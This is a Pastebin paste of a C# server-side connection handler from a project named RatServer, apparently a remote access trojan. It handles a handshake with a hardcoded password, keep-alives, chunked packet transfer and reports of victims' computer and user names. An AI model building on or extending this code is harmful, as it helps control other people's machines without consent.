szymski

Untitled

Jan 23rd, 2019
272
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.35 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Diagnostics;
  4. using System.IO;
  5. using System.Linq;
  6. using System.Net;
  7. using System.Net.Sockets;
  8. using System.Text;
  9. using System.Threading;
  10. using System.Threading.Tasks;
  11. using RatServer.Packets;
  12. using RatServer.Packets.Handshake;
  13.  
  14. namespace RatServer
  15. {
  16. /// <summary>
  17. /// A class that handles client packet transmission.
  18. /// </summary>
  19. public class ClientHandler
  20. {
  21. class BigPacketBuffer
  22. {
  23. public uint TotalSize { get; set; }
  24. public int ChunksLeft { get; set; }
  25. public int TotalChunks { get; set; }
  26. public byte[] Data { get; set; }
  27. public DateTime LastReceived { get; set; } // TODO: Remove unreceived packets after some time.
  28. }
  29.  
  30. private Server _server;
  31. public Socket Socket { get; }
  32. public Client Client { get; }
  33. public ClientStatus Status { get; private set; } = new ClientStatus();
  34.  
  35. private Queue<byte[]> _toSendQueue = new Queue<byte[]>();
  36.  
  37. private Thread _thread;
  38.  
  39. private int _lastSentBigPacketId = 0;
  40.  
  41. public bool Authenticated { get; private set; } = false;
  42.  
  43. public uint ProtocolVersion { get; private set; }
  44.  
  45. public ClientHandler(Server server, Socket socket, Client client)
  46. {
  47. _server = server;
  48. Socket = socket;
  49. Client = client;
  50.  
  51. _thread = new Thread(() =>
  52. {
  53. try
  54. {
  55. ThreadFunc();
  56. }
  57. catch (Exception e)
  58. {
  59. OnTimedOut();
  60. }
  61. });
  62. _thread.Start();
  63. }
  64.  
  65. public void SendPacket(OutPacket packet)
  66. {
  67. var memoryStream = new MemoryStream();
  68. BinaryWriter w = new BinaryWriter(memoryStream);
  69. w.Write((int)0); // Reserved for packet size
  70. w.Write(packet.Id);
  71. packet.Write(w);
  72. var packetData = memoryStream.ToArray();
  73.  
  74. // If the packet is too big, create big packets
  75. if (packetData.Length > Server.PacketSize + 8)
  76. {
  77. Console.WriteLine($"Packet id {packet.Id} too big to send. Creating big packet chunks.");
  78.  
  79. var packetId = ++_lastSentBigPacketId;
  80.  
  81. for (int index = 0; index < packetData.Length; index += (int)BigPacket.ChunkSize)
  82. {
  83. int lastIndex = Math.Min(packetData.Length, index + (int)BigPacket.ChunkSize);
  84. var chunkSize = lastIndex - index;
  85.  
  86. Console.WriteLine($"Creating a big packet chunk with size {chunkSize}");
  87. byte[] chunkData = new byte[BigPacket.ChunkSize]; // TODO: Optimize big packet chunk size.
  88. Array.Copy(packetData, index, chunkData, 0, chunkSize);
  89.  
  90. SendPacket(new BigPacket()
  91. {
  92. BigPacketId = (uint)packetId,
  93. Chunk = (uint)(index / (int)BigPacket.ChunkSize),
  94. TotalSize = (uint)packetData.Length,
  95. Data = chunkData,
  96. });
  97. }
  98. }
  99. else
  100. {
  101. // Write the packet size, not including the size itself
  102. w.Seek(0, SeekOrigin.Begin);
  103. w.Write((int)memoryStream.Length - 4);
  104.  
  105. var data = memoryStream.ToArray();
  106.  
  107. lock (_toSendQueue)
  108. _toSendQueue.Enqueue(data);
  109. }
  110. }
  111.  
  112. private Dictionary<uint, BigPacketBuffer> _bigPackets = new Dictionary<uint, BigPacketBuffer>();
  113.  
  114. private void ThreadFunc()
  115. {
  116. Console.WriteLine($"Handling thread for {Socket.RemoteEndPoint} has started");
  117.  
  118. Socket.Blocking = false;
  119. Socket.ReceiveTimeout = 10;
  120. Socket.SendTimeout = 10;
  121.  
  122. DateTime lastSentKeepAlive = DateTime.Now;
  123.  
  124. uint toReceiveLen = 0;
  125.  
  126. while (true)
  127. {
  128. #region Sending
  129.  
  130. lock (_toSendQueue)
  131. while (_toSendQueue.Count > 0)
  132. {
  133. byte[] toSend = _toSendQueue.Dequeue();
  134. Socket.Send(toSend, toSend.Length, SocketFlags.None);
  135. }
  136.  
  137. #endregion
  138.  
  139. #region Receiving
  140.  
  141. while (Socket.Available > 0)
  142. {
  143. if (toReceiveLen == 0 && Socket.Available >= 4)
  144. {
  145. byte[] sizeBuff = new byte[4];
  146. Socket.Receive(sizeBuff, 4, SocketFlags.None);
  147. toReceiveLen = BitConverter.ToUInt32(sizeBuff, 0);
  148. }
  149.  
  150. byte[] data = new byte[toReceiveLen];
  151.  
  152. if (Socket.Available >= toReceiveLen)
  153. {
  154. int bytesRead = Socket.Receive(data, (int)toReceiveLen, SocketFlags.None);
  155. Console.WriteLine("Received data from {0}, length {1}, expected {2}", Socket.RemoteEndPoint, bytesRead, toReceiveLen);
  156.  
  157. toReceiveLen = 0;
  158.  
  159. MemoryStream stream = new MemoryStream(data);
  160. BinaryReader r = new BinaryReader(stream);
  161. uint id = r.ReadUInt32();
  162.  
  163. Client.LastKeepAlive = DateTime.Now;
  164.  
  165. // Keep alive packet
  166. if (id == 0)
  167. {
  168. Status.LastResponse = DateTime.Now;
  169. }
  170.  
  171. // Handshake 1
  172. if (id == 0xDEAD0001)
  173. {
  174. var handshake1 = new Handshake1Packet();
  175. handshake1.Read(r);
  176.  
  177. ProtocolVersion = handshake1.ProtocolVersion;
  178.  
  179. Console.WriteLine($"Received Handshake1 packet, client protocol: {handshake1.ProtocolVersion}");
  180.  
  181. SendPacket(new Handshake2Packet()
  182. {
  183. ProtocolVersion = Server.ProtocolVersion,
  184. EncryptedPassword = "dupaXD",
  185. });
  186.  
  187. continue;
  188. }
  189.  
  190. // Handshake 3
  191. if (id == 0xDEAD0003)
  192. {
  193. var handshake3 = new Handshake3Packet();
  194. handshake3.Read(r);
  195.  
  196. Console.WriteLine($"Authenticated! Client says: {handshake3.Message}");
  197. Authenticated = true;
  198. Client.OnAuthenticated(handshake3.Message);
  199. _server.ClientAuthenticated?.Invoke(this, Client);
  200.  
  201. continue;
  202. }
  203.  
  204. // Status packet
  205. if (id == 1)
  206. {
  207. StatusPacket statusPacket = new StatusPacket();
  208. statusPacket.Read(r);
  209.  
  210. ClientStatus status = Status;
  211.  
  212. status.Client = Client;
  213. status.Address = Socket.RemoteEndPoint;
  214. status.ComputerName = statusPacket.ComputerName;
  215. status.UserName = statusPacket.UserName;
  216. status.SystemVersion = statusPacket.SystemVersion;
  217. status.LastResponse = DateTime.Now;
  218.  
  219. _server.StatusReceived?.Invoke(this, status);
  220.  
  221. continue;
  222. }
  223.  
  224. // Big packet
  225. if (id == 3)
  226. {
  227. BigPacket bigPacket = new BigPacket();
  228. bigPacket.Read(r);
  229.  
  230. // Create or get big packet buffer
  231.  
  232. if (!_bigPackets.ContainsKey(bigPacket.BigPacketId))
  233. _bigPackets.Add(bigPacket.BigPacketId, new BigPacketBuffer()
  234. {
  235. TotalSize = bigPacket.TotalSize,
  236. TotalChunks = (int)Math.Ceiling(bigPacket.TotalSize / (float)BigPacket.ChunkSize),
  237. ChunksLeft = (int)Math.Ceiling(bigPacket.TotalSize / (float)BigPacket.ChunkSize),
  238. Data = new byte[bigPacket.TotalSize],
  239. });
  240.  
  241. BigPacketBuffer buffer = _bigPackets[bigPacket.BigPacketId];
  242.  
  243. // Update buffer data
  244.  
  245. buffer.ChunksLeft--;
  246. buffer.LastReceived = DateTime.Now;
  247.  
  248. int chunkSize = (int)BigPacket.ChunkSize;
  249. if (bigPacket.Chunk == buffer.TotalChunks - 1)
  250. chunkSize = (int)bigPacket.TotalSize % (int)BigPacket.ChunkSize;
  251.  
  252. Array.Copy(bigPacket.Data, 0, buffer.Data, bigPacket.Chunk * BigPacket.ChunkSize, chunkSize);
  253.  
  254. Console.WriteLine($"Received big packet chunk {bigPacket.Chunk}, size {chunkSize}, left {buffer.ChunksLeft}");
  255.  
  256. if (buffer.ChunksLeft == 0)
  257. {
  258. Console.WriteLine("Done receiving big packet");
  259.  
  260. byte[] chunkData = buffer.Data;
  261. _bigPackets.Remove(bigPacket.BigPacketId);
  262.  
  263. stream = new MemoryStream(chunkData);
  264. r = new BinaryReader(stream);
  265. uint len = r.ReadUInt32();
  266. id = r.ReadUInt32();
  267.  
  268. InPacket packet2 = PacketRegistry.InstantiatePacket(id);
  269. packet2.Read(r);
  270. _server.PacketReceived?.Invoke(this, new Tuple<Client, InPacket>(Client, packet2));
  271. if (_server.InvokeClientEvents)
  272. Client.PacketReceived?.Invoke(this, packet2);
  273. }
  274.  
  275. continue;
  276. }
  277.  
  278. InPacket packet = PacketRegistry.InstantiatePacket(id);
  279. packet.Read(r);
  280. _server.PacketReceived?.Invoke(this, new Tuple<Client, InPacket>(Client, packet));
  281. if (_server.InvokeClientEvents)
  282. Client.PacketReceived?.Invoke(this, packet);
  283. }
  284. }
  285.  
  286. #endregion
  287.  
  288. #region Keep alive
  289.  
  290. if (DateTime.Now > Client.LastKeepAlive + TimeSpan.FromSeconds(Server.MaxTimeout))
  291. throw new TimeoutException("Connection timed out.");
  292.  
  293. if (DateTime.Now > lastSentKeepAlive + TimeSpan.FromSeconds(Server.KeepAliveDelaySecs))
  294. {
  295. lastSentKeepAlive = DateTime.Now;
  296. SendPacket(new KeepAlivePacket());
  297. }
  298.  
  299. #endregion
  300.  
  301. // Sleep
  302.  
  303. Thread.Sleep(1);
  304. }
  305. }
  306.  
  307. /// <summary>
  308. /// Waits ansynchronously for a packet.
  309. /// </summary>
  310. /// <typeparam name="T">The type of the packet.</typeparam>
  311. /// <param name="timeout">Timeout in milliseconds. After that time, an exception will be thrown. 0 is infinite.</param>
  312. /// <returns></returns>
  313. public Task<T> WaitForPacket<T>(int timeout = 2000) where T : InPacket
  314. {
  315. var task = Task.Run<T>(() =>
  316. {
  317. Stopwatch sw = new Stopwatch();
  318. sw.Start();
  319.  
  320. T receivedPacket = default(T);
  321.  
  322. EventHandler<InPacket> method = (sender, packet) =>
  323. {
  324. if (packet is T p)
  325. receivedPacket = p;
  326. };
  327.  
  328. Client.PacketReceived += method;
  329.  
  330. while (true)
  331. {
  332. if (receivedPacket != null)
  333. {
  334. Client.PacketReceived -= method;
  335. return receivedPacket;
  336. }
  337.  
  338. if (timeout != 0 && sw.ElapsedMilliseconds >= timeout)
  339. throw new TimeoutException("The packet couldn't be received.");
  340.  
  341. Thread.Sleep(1);
  342. }
  343. });
  344.  
  345. // TODO: Add timeout exception.
  346.  
  347. return task;
  348. }
  349.  
  350. public void OnTimedOut()
  351. {
  352. Console.WriteLine($"Connection with {Socket.RemoteEndPoint} lost");
  353. Socket.Shutdown(SocketShutdown.Both);
  354. Socket.Close();
  355. _server.ClientDisconnected(this, Client);
  356. }
  357. }
  358. }
Advertisement
Add Comment
Please, Sign In to add comment